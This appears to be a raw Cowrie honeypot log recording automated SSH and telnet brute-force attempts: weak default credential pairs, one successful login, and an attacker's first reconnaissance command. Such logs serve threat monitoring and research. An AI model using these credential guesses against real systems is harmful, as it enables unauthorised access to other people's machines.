{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:15:28.537494Z","src_ip":"95.38.165.118","session":"d5ff1e37c104","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rocky","password":"rocky","message":"login attempt [rocky/rocky] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:15:30.915689Z","src_ip":"95.38.165.118","session":"d5ff1e37c104","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:15:32.539591Z","src_ip":"95.38.165.118","session":"d5ff1e37c104","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":52296,"dst_ip":"10.17.0.5","dst_port":22,"session":"9002953cd76d","protocol":"ssh","message":"New connection: 95.38.165.118:52296 (10.17.0.5:22) [session: 9002953cd76d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:15:33.637760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:15:33.648956Z","src_ip":"95.38.165.118","session":"9002953cd76d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:15:33.814534Z","src_ip":"95.38.165.118","session":"9002953cd76d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wso2","password":"wso2","message":"login attempt [wso2/wso2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:15:34.346403Z","src_ip":"95.38.165.118","session":"9002953cd76d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":36330,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9ecbaa128e0","protocol":"telnet","message":"New connection: 69.4.83.194:36330 (159.203.135.109:23) [session: f9ecbaa128e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:15:35.390291Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:15:35.780125Z","src_ip":"95.38.165.118","session":"9002953cd76d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":57444,"dst_ip":"10.17.0.5","dst_port":22,"session":"0aaa0d795978","protocol":"ssh","message":"New connection: 95.38.165.118:57444 (10.17.0.5:22) [session: 0aaa0d795978]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:15:38.514083Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:15:38.519127Z","src_ip":"95.38.165.118","session":"0aaa0d795978","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:15:38.688937Z","src_ip":"95.38.165.118","session":"0aaa0d795978","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"appuser","message":"login attempt [appuser/appuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:15:39.524957Z","src_ip":"95.38.165.118","session":"0aaa0d795978","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:15:41.116761Z","src_ip":"95.38.165.118","session":"0aaa0d795978","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":38070,"dst_ip":"159.203.135.109","dst_port":23,"session":"5bd2a5f06f86","protocol":"telnet","message":"New connection: 69.4.83.194:38070 (159.203.135.109:23) [session: 5bd2a5f06f86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:15:43.079009Z"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":57446,"dst_ip":"10.17.0.5","dst_port":22,"session":"cda4db0d4829","protocol":"ssh","message":"New connection: 95.38.165.118:57446 (10.17.0.5:22) [session: cda4db0d4829]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:15:43.653738Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:15:43.725447Z","src_ip":"95.38.165.118","session":"cda4db0d4829","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:15:43.885472Z","src_ip":"95.38.165.118","session":"cda4db0d4829","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"developer","message":"login attempt [developer/developer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:15:44.592188Z","src_ip":"95.38.165.118","session":"cda4db0d4829","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:15:45.767579Z","src_ip":"95.38.165.118","session":"cda4db0d4829","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":38676,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a984d6d9d96","protocol":"ssh","message":"New connection: 95.38.165.118:38676 (10.17.0.5:22) [session: 0a984d6d9d96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:15:48.650326Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:15:48.655468Z","src_ip":"95.38.165.118","session":"0a984d6d9d96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:15:48.818207Z","src_ip":"95.38.165.118","session":"0a984d6d9d96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":38956,"dst_ip":"159.203.135.109","dst_port":23,"session":"700f770a6dce","protocol":"telnet","message":"New connection: 69.4.83.194:38956 (159.203.135.109:23) [session: 700f770a6dce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:15:49.420406Z"}
{"eventid":"cowrie.session.closed","duration":0.6384890079498291,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:15:50.058744Z","src_ip":"69.4.83.194","session":"700f770a6dce","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"git","password":"123","message":"login attempt [git/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:15:50.628668Z","src_ip":"95.38.165.118","session":"0a984d6d9d96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.202430963516235,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:15:51.573961Z","src_ip":"69.4.83.194","session":"a82e1b1b2430","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:15:51.793767Z","src_ip":"95.38.165.118","session":"0a984d6d9d96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":33030,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a8472cc2c8f","protocol":"telnet","message":"New connection: 178.128.93.180:33030 (10.17.0.5:23) [session: 5a8472cc2c8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:15:53.171660Z"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":38692,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6974dabd73b","protocol":"ssh","message":"New connection: 95.38.165.118:38692 (10.17.0.5:22) [session: f6974dabd73b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:15:53.369516Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:15:53.440773Z","src_ip":"95.38.165.118","session":"f6974dabd73b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:15:53.963965Z","src_ip":"95.38.165.118","session":"f6974dabd73b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123123","message":"login attempt [root/Aa123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:15:55.120874Z","src_ip":"95.38.165.118","session":"f6974dabd73b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:15:56.721841Z","src_ip":"95.38.165.118","session":"f6974dabd73b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":44390,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd05a63886f5","protocol":"ssh","message":"New connection: 95.38.165.118:44390 (10.17.0.5:22) [session: bd05a63886f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:15:58.740646Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:15:58.746634Z","src_ip":"95.38.165.118","session":"bd05a63886f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:15:59.474545Z","src_ip":"95.38.165.118","session":"bd05a63886f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vyos","password":"vyos","message":"login attempt [vyos/vyos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:16:03.625052Z","src_ip":"95.38.165.118","session":"bd05a63886f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":44400,"dst_ip":"10.17.0.5","dst_port":22,"session":"f76363e9b6e0","protocol":"ssh","message":"New connection: 95.38.165.118:44400 (10.17.0.5:22) [session: f76363e9b6e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:16:03.900009Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:16:03.906131Z","src_ip":"95.38.165.118","session":"f76363e9b6e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:16:04.082694Z","src_ip":"95.38.165.118","session":"f76363e9b6e0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"123456","message":"login attempt [steam/123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:16:04.652985Z","src_ip":"95.38.165.118","session":"f76363e9b6e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:16:04.802458Z","src_ip":"95.38.165.118","session":"bd05a63886f5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:16:08.598759Z","src_ip":"95.38.165.118","session":"f76363e9b6e0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:16:08.602762Z","src_ip":"95.38.165.118","session":"f76363e9b6e0","protocol":"ssh"}
